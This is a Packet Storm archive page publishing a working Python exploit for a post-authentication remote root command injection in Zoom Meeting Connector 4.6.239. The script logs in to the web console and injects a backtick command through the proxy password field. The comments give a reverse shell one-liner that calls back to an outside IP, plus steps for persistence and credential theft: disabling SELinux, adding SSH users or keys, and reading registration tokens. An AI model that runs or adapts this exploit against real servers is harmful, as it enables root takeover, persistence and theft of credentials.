exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Zoom 4.6.239.20200613 Meeting Connector Post-Auth Remote Root

Zoom 4.6.239.20200613 Meeting Connector Post-Auth Remote Root
Posted Dec 31, 2020
Authored by Jeremy Brown

Zoom version 4.6.239.20200613 suffers from a Meeting Connector post-authentication remote root code execution vulnerability via the proxy server functionality. The latest Zoom client has this issue patched per Zoom.

tags | exploit, remote, root, code execution
SHA-256 | a841b2931fe578788c8622d32483f5ecfa1a1ef799aac55dcc45a85daf624fc2

Zoom 4.6.239.20200613 Meeting Connector Post-Auth Remote Root

Change Mirror Download
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# zoomer.py
#
# Zoom Meeting Connector Post-auth Remote Root Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# The Meeting Connector Web Console listens on port 5480. On the dashboard
# under Network -> Proxy, one can enable a proxy server. All of the fields
# are sanitized to a certain degree, even the developers noting in the proxy()
# function within backend\webconsole\WebConsole\net.py that they explicitly
# were concerned with command injection and attempted to prevent it:
#
# if ('"' in proxy_name) or ('"' in proxy_passwd): # " double quotes cannot be used to prevent shell injection
# is_valid = False
#
# It makes sense to leave some flexibility in the character limits here
# passwords are often expected to contain more than alphanumeric characters.
# But of course that means the Proxy Password field is still vulnerable to
# command injection with the ` character.
#
# The proxy data gets concatenated and written to /etc/profile.d/proxy.sh.
# Every three minutes, a task runs which executes this proxy script as root.
# After submission the dashboard says “The proxy will take effect after the
# server reboot!”, but the commands will still be executed within actually
# requiring a reboot. Keep in mind that the commands will be executed blind.
#
# For example, `id>/tmp/proxy_test` given as the Proxy Password will produce
# this in the /tmp/proxy_test file:
#
# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
#
# MMR was tested, but Controller and VRC may also be vulnerable
#
# Usage
# > zoomer.py 10.0.0.10 admin xsecRET1 "sh -i >& /dev/udp/10.0.0.11/5555 0>&1"
# login succeeded
# command sent to server
#
# $ nc -u -lvp 5555
# ....
# sh: no job control in this shell
# sh-4.2# pwd
# /root
# sh-4.2#
#
# setenforce 0 if SELinux bothers you, service sshd start and add users/keys,
# check tokens in /opt/zoom/conf/register, check out the local environment, etc.
#
# Dependencies
# - pip install pyquery
#
# Fix
# Zoom says they've fixed this in the latest version
#

import os
import sys
import argparse
import requests
import urllib.parse
from pyquery import PyQuery
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class Zoomer(object):
def __init__(self, args):
self.target = args.target
self.port = args.port
self.username = args.username
self.password = args.password
self.command = args.command

def run(self):
target = "https://" + self.target + ':' + str(self.port)

session = requests.Session()
session.verify = False

#
# get csrftoken from /login and use it to auth with creds
#
try:
resp = session.get(target + "/login")
except Exception as error:
print("Error: %s" % error)
return -1

try:
csrftoken = resp.headers['set-cookie'].split(';')[0]
except:
print("Error: couldn't parse csrftoken from response header")
return -1

csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')

if(csrfmiddlewaretoken == None):
return -1

data = \
{'csrfmiddlewaretoken':csrfmiddlewaretoken,
'name':self.username,
'password':self.password}

headers = \
{'Host':self.target + ':' + str(self.port),
'Referer':target,
'Cookie':csrftoken}

try:
resp = session.post(target + "/login", headers=headers, data=data)
except Exception as error:
print("Error: %s" % error)
return -1

if(resp.status_code != 200 or 'Wrong' in resp.text):
print("login failed")
return -1
else:
print("login succeeded")

#
# get csrfmiddlewaretoken from /network/proxy and post cmd
#
try:
resp = session.get(target + "/network/proxy")
except Exception as error:
print("Error: %s" % error)
return -1

csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')

cookies = session.cookies.get_dict()

#
# this happens with view-only users
#
if(len(cookies) < 2):
print("Error: failed to get session ID")
return -1

command = '`' + self.command + '`'

headers = \
{'Host':self.target + ':' + str(self.port),
'Referer':target,
'Cookie': \
'csrftoken=' + cookies['csrftoken'] + ';' + \
'sessionid=' + cookies['sessionid']}

data = \
{'csrfmiddlewaretoken':csrfmiddlewaretoken,
'proxyValue':1,
'proxyAddr':'localhost',
'proxyPort':8080,
'proxyName':'test',
'proxyPasswd':command}

try:
resp = session.post(target + "/network/proxy", headers=headers, data=data)
except Exception as error:
print("Error: %s" % error)
return -1

if(resp.status_code != 200):
print("something failed")
return -1
else:
print("command sent to server")

return 0

def get_token(self, body, name):
token = None

pq = PyQuery(body)

if(name == 'csrftoken'):
print("csrftoken")

if(name == 'csrfmiddlewaretoken'):
token = pq('input').attr('value')

return token

def arg_parse():
parser = argparse.ArgumentParser()

parser.add_argument("target",
type=str,
help="Zoom server")

parser.add_argument("-p",
"--port",
type=int,
default=5480,
help="Zoom port")

parser.add_argument("username",
type=str,
help="Valid username")

parser.add_argument("password",
type=str,
help="Valid password")

parser.add_argument("command",
type=str,
help="Command to execute (replace space with $IFS ?)")

args = parser.parse_args()

return args

def main():
args = arg_parse()

zm = Zoomer(args)

result = zm.run()

if(result > 0):
sys.exit(-1)

if(__name__ == '__main__'):
main()
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close